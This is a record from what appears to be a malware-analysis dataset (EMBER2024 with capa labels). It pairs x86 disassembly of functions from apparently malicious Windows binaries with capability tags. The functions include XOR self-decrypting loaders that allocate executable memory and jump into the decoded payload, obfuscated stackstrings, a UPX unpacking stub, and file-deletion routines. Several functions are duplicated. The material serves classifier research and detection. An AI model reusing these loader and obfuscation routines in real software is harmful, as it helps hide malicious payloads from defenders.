joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000cac3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword fs:[0x2c]
push ebx
push esi
mov esi, dword [0x100139e8]
mov ebx, ecx
push edi
mov edi, edx
mov dword [ebp - 8], edi
mov esi, dword [eax + esi*4]
mov eax, dword [0x10013e80]
cmp eax, dword [esi + 4]
jg 0x1000cb78
lea eax, [ebx + edi]
cmp eax, ebx
ja 0x1000cb01
mov eax, 0x10dd
jmp 0x1000cb71
mov eax, dword [0x10013e7c]
cmp edi, eax
jbe 0x1000cb0f
push 0x32
pop eax
jmp 0x1000cb71
mov edi, dword [ebp + 8]
lea ecx, [ebp - 4]
and dword [ebp - 4], 0
lea esi, [eax - 1]
push ecx
not esi
push dword [edi]
and esi, ebx
push eax
push esi
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
jne 0x1000cb37
call dword [sym.imp.kernel32.dll_GetLastError]
jmp 0x1000cb71
mov ecx, dword [0x10013e7c]
mov eax, dword [ebp - 8]
dec ecx
mov edx, dword [ebp - 4]
dec eax
add eax, ebx
mov dword [edi], edx
not ecx
and ecx, eax
cmp ecx, esi
je 0x1000cb6c
lea eax, [ebp - 4]
push eax
push dword [edi + 4]
push dword [0x10013e7c]
push ecx
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x1000cb2f
mov edx, dword [ebp - 4]
mov dword [edi + 4], edx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
mov esi, 0x10013e80
push esi
call fcn.1000cd54
cmp dword [0x10013e80], 0xffffffff
pop ecx
jne 0x1000caf3
push 9
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x28]
push esi
mov dword [0x10013e7c], eax
call fcn.1000cd54
mov edi, dword [ebp - 8]
pop ecx
jmp 0x1000caf3

Function at 0x1000cd54
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x1000cd63
pop dword [ebp - 0x38]
mov eax, 0x1000cd63
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x3e5a3
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x723d6386
sub ecx, 0x723d0627
mov edi, eax
mov esi, 0x5ba61147
add esi, 0xb45b74b9
add esi, dword [ebp - 0x38]
mov ebx, 0x4b21503
add dword [ebp - 0x1c], 0x38ba5d4b
mov edx, dword [esi]
mov dword [ebp - 0x18], 0x68921e0f
add edx, ebx
xor dword [ebp - 0x18], esi
mov dword [edi], edx
add dword [ebp - 0x34], ecx
add edi, 0x539f5053
add edi, 0xac60afb1
add esi, 4
loop 0x1000cdb2
add eax, 0xdfa3c73f
sub eax, 0xdfa25ef0
mov ebx, eax
add eax, 5
mov ecx, 0xa90c34fd
add ecx, 0x66f3cb03
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x40213b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x40214a
pop dword [ebp - 0x2c]
mov eax, 0xe227e5ee
sub eax, 0xe1e7c4a4
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x22a12aa5
add dword [ebp - 0x3c], 0x2bb11aa6
mov dword [ebp - 0x38], 0x2d19d365
sub dword [ebp - 0x38], 0xfae68720
mov dword [ebp - 0x34], 0x6d7ef714
sub dword [ebp - 0x34], 0x2132b2e6
mov dword [ebp - 0x30], 0xfc6d6a63
add dword [ebp - 0x30], 0x392959d
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x39d06c9f
add eax, 0xc670336d
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x48d0ef37
add dword [ebp - 0x3c], 0x2ba17a1f
mov dword [ebp - 0x38], 0xbcdae76a
add dword [ebp - 0x38], 0x84917a0b
mov dword [ebp - 0x34], 0xcc0289fc
sub dword [ebp - 0x34], 0x68931d90
mov dword [ebp - 0x30], 0x8b0d047d
sub dword [ebp - 0x30], 0x8b0d047d
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x6a9faaaf
add eax, 0x95a0f565
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3c160
push 0
call eax
mov ecx, 0xb7e7c3c9
add ecx, 0x4818914e
mov edi, eax
mov edx, 0x5e7a56e9
sub edx, 0x5e3698e9
add edx, dword [ebp - 0x2c]
mov esi, 0x617ced65
add esi, 0xd9b06dc5
add dword [ebp - 0x24], esi
mov ebx, dword [edx]
sub dword [ebp - 0x20], 0x72742a9
xor ebx, esi
xor dword [ebp - 4], eax
mov dword [edi], ebx
add edi, 0xa58ac7f5
add edi, 0x5a75380f
add edx, 0x408c21a0
add edx, 0xbf73de64
loop 0x40226c
add eax, 0x1565b5aa
sub eax, 0x15646e7b
mov ebx, eax
add eax, 0x32a1876
add eax, 0xfcd5e78f
mov ecx, 0xdbbfc509
sub ecx, 0xdb7fc509
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x401c66
pop dword [ebp - 0x40]
mov eax, 0x401c66
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x779c3d1a
add dword [ebp - 0x50], 0xd6b60831
mov dword [ebp - 0x4c], 0xc7f0a2ef
add dword [ebp - 0x4c], 0x6a42a956
mov dword [ebp - 0x48], 0xb8d80d78
add dword [ebp - 0x48], 0x937436b6
mov dword [ebp - 0x44], 0x99a50860
add dword [ebp - 0x44], 0x665af7a0
lea eax, [ebp - 0x50]
push eax
mov eax, 0x64889567
add eax, 0x9bb79aed
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xe8e6a3b6
sub dword [ebp - 0x50], 0x74743a60
mov dword [ebp - 0x4c], 0xead82ec2
sub dword [ebp - 0x4c], 0xa96bcd4d
mov dword [ebp - 0x48], 0xdab7ecab
add dword [ebp - 0x48], 0x88b77fc1
mov dword [ebp - 0x44], 0x412a664f
add dword [ebp - 0x44], 0xbed599b1
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x2f525709
add eax, 0xd0edd923
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x36f22
push 0
call eax
mov ecx, 0xb59e27aa
sub ecx, 0xb59dddce
xor edi, edi
add edi, eax
mov ebx, 0x1c6f02f8
add ebx, 0xe3d16d08
add ebx, dword [ebp - 0x40]
mov edx, 0x30038c17
add edx, 0xc573a343
add dword [ebp - 0x10], eax
mov esi, dword [ebx]
xor esi, edx
sub dword [ebp - 0x34], 0x1c812c3d
mov dword [edi], esi
add dword [ebp - 0x20], ecx
add edi, 0xf73c4ff4
add edi, 0x8c3b010
add ebx, 4
loop 0x401d85
add eax, 0x11a43
xor ebx, ebx
add ebx, eax
add eax, 0x52030049
sub eax, 0x52030044
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x407f60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407f82
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407f89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f78
mov eax, 1
add ebx, ebx
jne 0x407f9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407f90
jne 0x407fac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407f90
xor ecx, ecx
sub eax, 3
jb 0x407fc0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408032
mov ebp, eax
add ebx, ebx
jne 0x407fcb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407fd8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x407ffc
inc ecx
add ebx, ebx
jne 0x407fe8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407fdd
jne 0x407ff9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fdd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40801c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40800d
jmp 0x407f7e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40801c
add edi, ecx
jmp 0x407f7e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40803a
cmp byte [edi], 0
jne 0x40803a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40803f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40806c
mov ecx, edi
jns 0x40809b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080b1
mov dword [ebx], eax
add ebx, 4
jmp 0x408089
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4080eb
sub esp, 0xffffff80
jmp 0x402130
Function at 0x431290
Capabilities:
Delete file

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x475360
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov ecx, dword [esi + 0x3c]
cmp ecx, ebx
je 0x4312f1
mov eax, dword [esi + 0xa4]
mov edx, dword [esi + 0xa8]
push 1
push 1
push 1
push eax
push edx
call fcn.00439ef0
mov ecx, dword [esi + 0x3c]
cmp ecx, ebx
je 0x4312dc
mov eax, dword [ecx]
push 1
call dword [eax]
mov dword [esi + 0x3c], ebx
mov dword [esi + 0xa8], ebx
mov dword [esi + 0xa4], ebx
mov dword [esi + 0xac], ebx
mov ecx, dword [0x48b464]
push ebp
mov ebp, dword [esi + 0x5c]
mov dword [esp + 0x10], ecx
xor edi, edi
cmp ebp, ebx
mov dword [esp + 0x20], ebx
jle 0x431348
lea ebx, [esi + 0x54]
lea edx, [esp + 0x14]
push edi
push edx
mov ecx, ebx
call fcn.00404b90
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x24], 1
call fcn.00465573
lea ecx, [esp + 0x14]
mov byte [esp + 0x20], 0
call fcn.0046543a
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
inc edi
cmp edi, ebp
jl 0x43130c
xor ebx, ebx
push 0xffffffffffffffff
push ebx
lea ecx, [esi + 0x54]
call fcn.00460d62
mov eax, dword [esi + 0x9c]
pop ebp
cmp eax, ebx
je 0x431377
xor edi, edi
mov ecx, dword [esi + 0x44]
push 0x48f490
add ecx, edi
call fcn.004655c3
add edi, 4
cmp edi, 0x1c
jl 0x431360
mov eax, 1
lea ecx, [esp + 0xc]
mov dword [esi + 0x94], eax
mov dword [esi + 0x98], eax
mov dword [esi + 0x9c], eax
mov dword [esi + 0x90], ebx
mov dword [esi + 0x8c], ebx
mov dword [esi + 0x88], ebx
mov dword [esp + 0x1c], 0xffffffff
call fcn.0046543a
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x438120
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push esi
push dword [ebp + 8]
call fcn.00437d37
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.00437d82
push eax
push esi
push dword [ebp + 8]
call fcn.00437d37
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00437d82
push eax
push esi
push dword [ebp + 8]
call fcn.00437d37
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00437d72
xchg edx, eax
invalid
Function at 0x438210
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ecx
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.00437d72
jmp 0x8dcd52cd

Function at 0x438420
Capabilities:
Inspect section memory permissions

Disassembly:
rol dword [ebx], 0x40
add al, 0xeb
test eax, 0xeb0c5d89
push es
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x438449
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x438467
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x4384c5
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x4384ac
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x4384b5
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x4384bf
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x4384a1
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x43842b
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x438512
dec eax
je 0x438509
sub eax, 3
je 0x438500
mov dword [ebp - 4], 0x40
jmp 0x43852f
mov dword [ebp - 4], 4
jmp 0x438515
mov dword [ebp - 4], 0x20
jmp 0x438515
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x438561
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x4384e1
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.00437d72
in eax, 0xef
mov dword [0x1475ffaf], eax
push 1
push esi
call edi
mov eax, esi
jmp 0x43856d
push 0x8000
push ebx
push esi
call dword [ebp - 8]
Function at 0x4385f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov ebx, 0x40fffffc
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.00437d82
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00437d37
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.00437d82
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00437d37
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.00437d82
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00437d37
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.00437d72
Function at 0x43a420
Capabilities:
Delete file
Get common file path

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x475d01
push eax
mov dword fs:[0], esp
sub esp, 0x234
lea eax, [esp + 0x2c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x43a55e
lea ecx, [esp + 0x130]
push 0x104
push ecx
call fcn.00450550
lea edx, [esp + 0x34]
push edx
call fcn.004504ca
add esp, 0xc
lea ecx, [esp + 0x10]
call fcn.00448218
push 0x489224
lea ecx, [esp + 8]
mov dword [esp + 0x240], 0
call fcn.004654a8
lea eax, [esp + 4]
push 0x489934
lea ecx, [esp + 4]
push eax
push ecx
mov byte [esp + 0x248], 1
call fcn.004656cf
mov edx, dword [esp]
push 0
push edx
lea ecx, [esp + 0x18]
mov byte [esp + 0x244], 2
call fcn.004482db
test eax, eax
je 0x43a518
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x18]
call fcn.004484fb
mov esi, eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x1c]
call fcn.004486f3
mov eax, dword [eax]
push eax
call edi
lea ecx, [esp + 0x14]
call fcn.0046543a
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x1c]
call fcn.004486f3
lea ecx, [esp + 0x10]
call fcn.0046543a
test esi, esi
jne 0x43a4d4
pop edi
pop esi
lea edx, [esp + 0x130]
push edx
call fcn.004504ca
add esp, 4
lea ecx, [esp]
mov byte [esp + 0x23c], 1
call fcn.0046543a
lea ecx, [esp + 4]
mov byte [esp + 0x23c], 0
call fcn.0046543a
lea ecx, [esp + 0x10]
mov dword [esp + 0x23c], 0xffffffff
call fcn.00448255
mov ecx, dword [esp + 0x234]
mov dword fs:[0], ecx
add esp, 0x240
ret
Function at 0x4640ff
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x464141
call fcn.0046f57e
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x464141
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x464138
xor eax, eax
jmp 0x464149
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0046414f
pop edi
pop esi
pop ebx
ret 4

Function at 0x465ab0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x465ad2
cmp dword [edi + 0x3c], 0
jne 0x465ad2
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.0046f57e
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.00465aff
pop edi
pop esi
pop ebx
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401130
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
sub esp, 0x210
mov eax, dword [0x415040]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebp
mov ebp, dword [esp + 0x218]
push esi
mov esi, ecx
push 0x411234
push ebp
mov dword [esp + 0x10], esi
call fcn.00402c71
add esp, 8
test eax, eax
mov dword [esi], eax
jne 0x40129a
push eax
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
push ecx
push ebp
call fcn.00402b61
lea eax, [esp + 0x20]
add esp, 0x14
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401187
sub eax, edx
sar eax, 1
mov edx, eax
lea eax, [esp + 0x14]
lea esi, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4011a0
sub eax, esi
sar eax, 1
lea eax, [eax + edx + 1]
xor ecx, ecx
mov edx, 2
mul edx
seto cl
push ebx
neg ecx
or ecx, eax
push ecx
call fcn.004028ce
mov ebx, eax
lea eax, [esp + 0x14]
mov edx, ebx
mov ecx, eax
add esp, 4
sub edx, ecx
lea esp, [esp]
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x4011e0
lea eax, [esp + 0x18]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4011f5
push edi
mov edi, ebx
sub eax, edx
add edi, 0xfffffffe
jmp 0x401210
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x401210
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x411230
mov eax, ebx
pop edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40125a
test dx, dx
je 0x401256
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40125a
add eax, 4
add ecx, 4
test dx, dx
jne 0x401234
xor eax, eax
jmp 0x40125f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x401278
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401278
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x411234
push ebp
call fcn.00402c71
mov edx, dword [esp + 0x14]
add esp, 8
test ebx, ebx
mov dword [edx], eax
je 0x401299
push ebx
call fcn.0040286b
add esp, 4
pop ebx
mov ecx, dword [esp + 0x214]
pop esi
pop ebp
xor ecx, esp
call fcn.00402c84
add esp, 0x210
ret 4